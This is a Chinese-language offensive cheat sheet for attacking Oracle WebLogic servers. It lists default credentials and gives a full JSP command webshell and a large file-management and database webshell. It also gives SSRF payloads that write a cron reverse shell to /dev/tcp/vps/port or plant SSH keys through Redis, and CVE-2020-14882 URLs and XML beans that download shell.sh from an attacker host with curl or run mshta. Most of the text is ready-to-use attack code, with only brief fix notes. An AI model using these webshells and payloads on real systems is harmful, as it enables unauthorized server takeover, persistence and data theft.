简介

WebLogic Server是美国甲骨文(Oracle)公司开发的一款适用于云环境和传统环境的应用服务中间件,确切的说是一个基于JavaEE架构的中间件,它提供了一个现代轻型开发平台,用于开发、集成、部署和管理大型分布式Web应用、网络应用和
数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。

特征

默认端口:7001
Web界面: Error 404–Not Found
控制后台: http://ip:7001/console

历史漏洞

弱口令

weblogic/Oracle@123
system/password
weblogic/weblogic
admin/security
joe/password
mary/password
system/security
wlcsystem/wlcsystem
wlpisystem/wlpisystem

上传war包getshell

cmd.jsp

<%@ page import="java.io.*" %> <% String cmd=request.getParameter("cmd");String output="";if(cmd!=null) { String s=null;try { Process p=Runtime.getRuntime().exec(cmd); BufferedReader sI=new BufferedReader(new InputStreamReader(p.getInputStream()));while((s=sI.readLine()) !=null) { output+=s+"\r\n"; } }catch(IOExceptione) { e.printStackTrace(); } }out.println(output);%>

打包war包

jar -cvf cmd.war cmd.jsp

上传war包
getshell

http://ip:7001/cmd/cmd.jsp?cmd=ls

CVE-2014-4210

weblogic中存在SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而可以攻击内网中Redis,Fastcgi等组建
漏洞产生于/uddiexplorer/SearchPublicRegistries.jsp页面中,可以导致SSRF
探测内网存活

http://ip:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://ip:port

SSRF攻击内网Redis
写定时任务

/uddiexplorer/SearchPublicRegistries.jsp?operator=http://ip/test%0D%0A%0D%0Aset%20x%20%22%5Cn%5Cn%5Cn%5Cn*%2F1%20*%20*%20*%20*%20%2Fbin%2Fbash%20-i%20>%26%20%2Fdev%2Ftcp%2Fvps%2Fport%200>%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fvar%2Fspool%2Fcron%2Fcrontabs%2F%0D%0Aconfig%20set%20dbfilename%20root%0D%0Asave%0D%0A%0D%0Aaaa&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search

写ssh公钥

uddiexplorer/SearchPublicRegistries.jsp?
operator=http://ip/test%0D%0A%0D%0Aset%20xx%20%22
%5Cn%5Cn%5Cn%5Cnssh-rsa
%20AAAAB3NzaC1yc2EAAAADAQABAAABAQDV14i/SITCBQjzb%2B8xL0vwGw
KjnMEQiarTxdVokFToK0Xw99m0eJwKV3WcTQgSykHA2rFxbQw%2Fv9IVx89bAz
X0iOBAU8jF%2B9oH5KE9KBzM%2FT1Vr3DDwmNny2qYCfizO9jJ90fr3DUeXWwl
%2BD24XiKfkDzlDly9LgEYxXl%2FCIgZ91QcTA0UeSBLXCgigVLKhDNZGGBqMF
rGNUsj0esNJr7pJsYEnIn%2BN5BtnUWEce1KERlGDiwvzRpyFvOKgQpEAiS%2B
R781GSsAsJsCQz8OFge6lx0iSMNZ6TWjkQYKlnTkQvzOo%2FZhINtItYziRXJK
mNQLdPpQ7OYo2WOQ4TIDFtR5%20root@iZuf6jc5pa52ijq06q5f1lZ%5Cn%5C
n%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Froot%2F.ssh%0D%0Acon
fig%20set%20dbfilename%20authorized_keys%0D%0Asave%0D%0A%0D%0A
aaa&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfo
r=&selfor=Business%2Blocation&btnSubmit=Search

CVE-2018-2894

在Weblogic Web Service Test Page中存在一处任意文件上传漏洞,WebService Test Page在”生产模式”下默认不开启,所以该漏洞有一定限制。利用该漏洞,可以上传任意jsp文件,进而获取服务器权限.
影响范围
Oracle WebLogic Server
版本

10.3.6.0
12.1.3.0
12.2.1.2
12.2.1.3

影响页面

/ws_utc/config.do
/ws_utc/begin.do

jsp大马

<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*"%>
<%!
    String Pwd = "Cknife";
    String cs = "UTF-8";
    
    String EC(String s) throws Exception {
        return new String(s.getBytes("ISO-8859-1"),cs);
    }
    
    Connection GC(String s) throws Exception {
        String[] x = s.trim().split("choraheiheihei");
        Class.forName(x[0].trim());
        if(x[1].indexOf("jdbc:oracle")!=-1){
            return DriverManager.getConnection(x[1].trim()+":"+x[4],x[2].equalsIgnoreCase("[/null]")?"":x[2],x[3].equalsIgnoreCase("[/null]")?"":x[3]);
        }else{
            Connection c = DriverManager.getConnection(x[1].trim(),x[2].equalsIgnoreCase("[/null]")?"":x[2],x[3].equalsIgnoreCase("[/null]")?"":x[3]);
            if (x.length > 4) {
                c.setCatalog(x[4]);
            }
            return c;
        }
    }
    
    void AA(StringBuffer sb) throws Exception {
        File k = new File("");
        File r[] = k.listRoots();
        for (int i = 0; i < r.length; i++) {
            sb.append(r[i].toString().substring(0, 2));
        }
    }
    
    void BB(String s, StringBuffer sb) throws Exception {
        File oF = new File(s), l[] = oF.listFiles();
        String sT, sQ, sF = "";
        java.util.Date dt;
        SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
        for (int i = 0; i < l.length; i++) {
            dt = new java.util.Date(l[i].lastModified());
            sT = fm.format(dt);
            sQ = l[i].canRead() ? "R" : "";
            sQ += l[i].canWrite() ? " W" : "";
            if (l[i].isDirectory()) {
                sb.append(l[i].getName() + "/\t" + sT + "\t" + l[i].length()+ "\t" + sQ + "\n");
            } else {
                sF+=l[i].getName() + "\t" + sT + "\t" + l[i].length() + "\t"+ sQ + "\n";
            }
        }
        sb.append(sF);
    }
    
    void EE(String s) throws Exception {
        File f = new File(s);
        if (f.isDirectory()) {
            File x[] = f.listFiles();
            for (int k = 0; k < x.length; k++) {
                if (!x[k].delete()) {
                    EE(x[k].getPath());
                }
            }
        }
        f.delete();
    }
    
    void FF(String s, HttpServletResponse r) throws Exception {
        int n;
        byte[] b = new byte[512];
        r.reset();
        ServletOutputStream os = r.getOutputStream();
        BufferedInputStream is = new BufferedInputStream(new FileInputStream(s));
        os.write(("->" + "|").getBytes(), 0, 3);
        while ((n = is.read(b, 0, 512)) != -1) {
            os.write(b, 0, n);
        }
        os.write(("|" + "<-").getBytes(), 0, 3);
        os.close();
        is.close();
    }
    
    void GG(String s, String d) throws Exception {
        String h = "0123456789ABCDEF";
        File f = new File(s);
        f.createNewFile();
        FileOutputStream os = new FileOutputStream(f);
        for (int i = 0; i < d.length(); i += 2) {
            os.write((h.indexOf(d.charAt(i)) << 4 | h.indexOf(d.charAt(i + 1))));
        }
        os.close();
    }
    
    void HH(String s, String d) throws Exception {
        File sf = new File(s), df = new File(d);
        if (sf.isDirectory()) {
            if (!df.exists()) {
                df.mkdir();
            }
            File z[] = sf.listFiles();
            for (int j = 0; j < z.length; j++) {
                HH(s + "/" + z[j].getName(), d + "/" + z[j].getName());
            }
        } else {
            FileInputStream is = new FileInputStream(sf);
            FileOutputStream os = new FileOutputStream(df);
            int n;
            byte[] b = new byte[512];
            while ((n = is.read(b, 0, 512)) != -1) {
                os.write(b, 0, n);
            }
            is.close();
            os.close();
        }
    }
    
    void II(String s, String d) throws Exception {
        File sf = new File(s), df = new File(d);
        sf.renameTo(df);
    }
    
    void JJ(String s) throws Exception {
        File f = new File(s);
        f.mkdir();
    }
    
    void KK(String s, String t) throws Exception {
        File f = new File(s);
        SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
        java.util.Date dt = fm.parse(t);
        f.setLastModified(dt.getTime());
    }
    
    void LL(String s, String d) throws Exception {
        URL u = new URL(s);
        int n = 0;
        FileOutputStream os = new FileOutputStream(d);
        HttpURLConnection h = (HttpURLConnection) u.openConnection();
        InputStream is = h.getInputStream();
        byte[] b = new byte[512];
        while ((n = is.read(b)) != -1) {
            os.write(b, 0, n);
        }
        os.close();
        is.close();
        h.disconnect();
    }
    
    void MM(InputStream is, StringBuffer sb) throws Exception {
        String l;
        BufferedReader br = new BufferedReader(new InputStreamReader(is));
        while ((l = br.readLine()) != null) {
            sb.append(l + "\r\n");
        }
    }
    
    void NN(String s, StringBuffer sb) throws Exception {
        Connection c = GC(s);
        ResultSet r = s.indexOf("jdbc:oracle")!=-1?c.getMetaData().getSchemas():c.getMetaData().getCatalogs();
        while (r.next()) {
            sb.append(r.getString(1) + "\t|\t\r\n");
        }
        r.close();
        c.close();
    }
    
    void OO(String s, StringBuffer sb) throws Exception {
        Connection c = GC(s);
        String[] x = s.trim().split("choraheiheihei");
        ResultSet r = c.getMetaData().getTables(null,s.indexOf("jdbc:oracle")!=-1?x.length>5?x[5]:x[4]:null, "%", new String[]{"TABLE"});
        while (r.next()) {
            sb.append(r.getString("TABLE_NAME") + "\t|\t\r\n");
        }
        r.close();
        c.close();
    }
    
    void PP(String s, StringBuffer sb) throws Exception {
        String[] x = s.trim().split("\r\n");
        Connection c = GC(s);
        Statement m = c.createStatement(1005, 1007);
        ResultSet r = m.executeQuery("select * from " + x[x.length-1]);
        ResultSetMetaData d = r.getMetaData();
        for (int i = 1; i <= d.getColumnCount(); i++) {
            sb.append(d.getColumnName(i) + " (" + d.getColumnTypeName(i)+ ")\t");
        }
        r.close();
        m.close();
        c.close();
    }
    
    void QQ(String cs, String s, String q, StringBuffer sb,String p) throws Exception {
        Connection c = GC(s);
        Statement m = c.createStatement(1005, 1008);
        BufferedWriter bw = null;
        try {
            ResultSet r = m.executeQuery(q.indexOf("--f:")!=-1?q.substring(0,q.indexOf("--f:")):q);
            ResultSetMetaData d = r.getMetaData();
            int n = d.getColumnCount();
            for (int i = 1; i <= n; i++) {
                sb.append(d.getColumnName(i) + "\t|\t");
            }
            sb.append("\r\n");
            if(q.indexOf("--f:")!=-1){
                File file = new File(p);
                if(q.indexOf("-to:")==-1){
                    file.mkdir();
                }
                bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(q.indexOf("-to:")!=-1?p.trim():p+q.substring(q.indexOf("--f:") + 4,q.length()).trim()),true),cs));
            }
            while (r.next()) {
                for (int i = 1; i <= n; i++) {
                    if(q.indexOf("--f:")!=-1){
                        bw.write(r.getObject(i)+""+"\t");
                        bw.flush();
                    }else{
                        sb.append(r.getObject(i)+"" + "\t|\t");
                    }
                }
                if(bw!=null){bw.newLine();}
                sb.append("\r\n");
            }
            r.close();
            if(bw!=null){bw.close();}
        } catch (Exception e) {
            sb.append("Result\t|\t\r\n");
            try {
                m.executeUpdate(q);
                sb.append("Execute Successfully!\t|\t\r\n");
            } catch (Exception ee) {
                sb.append(ee.toString() + "\t|\t\r\n");
            }
        }
        m.close();
        c.close();
    }
%>
<%
 
 
//String Z = EC(request.getParameter(Pwd) + "", cs);
    
    cs = request.getParameter("code") != null ? request.getParameter("code")+ "":cs;
    request.setCharacterEncoding(cs);
    response.setContentType("text/html;charset=" + cs);
    StringBuffer sb = new StringBuffer("");
if (request.getParameter(Pwd) != null) {
 
    try {
        String Z = EC(request.getParameter("action") + "");
        String z1 = EC(request.getParameter("z1") + "");
        String z2 = EC(request.getParameter("z2") + "");
        sb.append("->" + "|");
        String s = request.getSession().getServletContext().getRealPath("/");
        if (Z.equals("A")) {
            sb.append(s + "\t");
            if (!s.substring(0, 1).equals("/")) {
                AA(sb);
            }
        } else if (Z.equals("B")) {
            BB(z1, sb);
        } else if (Z.equals("C")) {
            String l = "";
            BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1))));
            while ((l = br.readLine()) != null) {
                sb.append(l + "\r\n");
            }
            br.close();
        } else if (Z.equals("D")) {
            BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1))));
            bw.write(z2);
            bw.close();
            sb.append("1");
        } else if (Z.equals("E")) {
            EE(z1);
            sb.append("1");
        } else if (Z.equals("F")) {
            FF(z1, response);
        } else if (Z.equals("G")) {
            GG(z1, z2);
            sb.append("1");
        } else if (Z.equals("H")) {
            HH(z1, z2);
            sb.append("1");
        } else if (Z.equals("I")) {
            II(z1, z2);
            sb.append("1");
        } else if (Z.equals("J")) {
            JJ(z1);
            sb.append("1");
        } else if (Z.equals("K")) {
            KK(z1, z2);
            sb.append("1");
        } else if (Z.equals("L")) {
            LL(z1, z2);
            sb.append("1");
        } else if (Z.equals("M")) {
            String[] c = { z1.substring(2), z1.substring(0, 2), z2 };
            Process p = Runtime.getRuntime().exec(c);
            MM(p.getInputStream(), sb);
            MM(p.getErrorStream(), sb);
        } else if (Z.equals("N")) {
            NN(z1, sb);
        } else if (Z.equals("O")) {
            OO(z1, sb);
        } else if (Z.equals("P")) {
            PP(z1, sb);
        } else if (Z.equals("Q")) {
            QQ(cs, z1, z2, sb,z2.indexOf("-to:")!=-1?z2.substring(z2.indexOf("-to:")+4,z2.length()):s.replaceAll("\\\\", "/")+"images/");
        }
    } catch (Exception e) {
        sb.append("ERROR" + ":// " + e.toString());
    }
    sb.append("|" + "<-");
    out.print(sb.toString());
}
%>

CVE-2018-2628

Weblogic Server WLS Core Components反序列化命令执行漏洞(CVE-2018-2628),该漏洞通过T3协议触发,可导致未授权的用户在远程服务器执行任意命令。
受影响版本

Weblogic 10.3.6.0
Weblogic 12.1.3.0
Weblogic 12.2.1.2
Weblogic 12.2.1.3

网上有很多复现文章,这里不复现了。
https://www.freebuf.com/vuls/169420.html
https://xz.aliyun.com/t/8073?time__1311=n4%2BxuDgDBADQYAKD%3DDODlcje0%3DeYfS7q%2BArD&alichlgref=https%3A%2F%2Fcn.bing.com%2F
https://blog.csdn.net/weixin_45744814/article/details/120229347
漏洞修复

  1. 关闭或控制T3服务的访问权限
  2. 更新补丁

CVE-2019-2725

由于在反序列化处理输入信息的过程中存在缺陷,未经授权的攻击者可以发送精心构造的恶意HTTP请求,利用该漏洞获取服务器权限,实现远程代码执行.
影响版本

Oracle WebLogic Server 10.*
Oracle WebLogic Server 12.1.3

影响组件

bea_wls9_async_response.war
wsat.war

漏洞判断
判断不安全组件是否开启
通过访问路径/_async/AsyncResponseService
漏洞利用
https://github.com/TopScrew/CVE-2019-2725
漏洞修复

  1. 打上官方补丁
  2. 升级本地JDK版本,升级到jdk7u21以上版本可以避免由于java原生类反序列化漏洞造成的RCE
  3. 配置URL访问资源策略
  4. 删除不安全文件,删除wls9_async_response.war与wls-wsat.war文件及相关文件夹并重启Weblogic服务
    具体文件路径:
    10.3.*版本
    \Middleware\wlserver_10.3\server\lib\%DOMAIN_HOME%\servers\AdminServer\tmp\_WL_internal\%DOMAIN_HOME%\servers\AdminServer\tmp\.internal\
    12.1.3版本
    Middleware\Oracle_Home\oracle_common\modules\%DOMAIN_HOME%\servers\AdminServer\tmp\.internal\%DOMAIN_HOME%\servers\AdminServer\tmp\_WL_internal\

CVE-2020-14882

这个漏洞的利用方式有两种:

  1. 通过com.tangosol.coherence.mvel2.sh.ShellSession执行命令
    http://ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('whoami');")
    这个利用方法只能在Weblogic 12.2.1以上版本利用,因为10.3.6并不存在com.tangosol.coherence.mvel2.sh.ShellSession类。
    反弹shell
    http://ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('curl http://vps:port/shell.sh -o /tmp/shell.sh');")
http://139.155.49.43:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('bash/tmp/shell.sh');")
  1. 通过com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext
    windows WebLogic Server版本:10.3.6.0

cmd.xml

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"><bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
    <list>
        <value>cmd</value>
        <value>/c</value>
        <value><![CDATA[mshta http://vps:port/file.ext]]></value>
    </list>
</constructor-arg>
</bean>
</beans>  

GET方法:

http://ip:7001/console/..%2fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://vps:port/cmd.xml")

POST方法:

url:
http://192.168.78.105:7001/console/css/%252e%252e%252fconsole.portal


body:
_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://vps:port/cmd.xml")

Linux WebLogic Server 版本:12.2.1.3

构造一个XML文件,并将其保存在Weblogic可以访问到的服务器上

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><!
[CDATA[curl vps:port/shell.sh -o /tmp/shell.sh]]></value>
</list>
</constructor-arg>
</bean>
</beans>

然后让Weblogic加载XML并执行其中的命令

http://ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://vps:port/shell.xml")

漏洞修复
关闭后台对/console/console.portal对外访问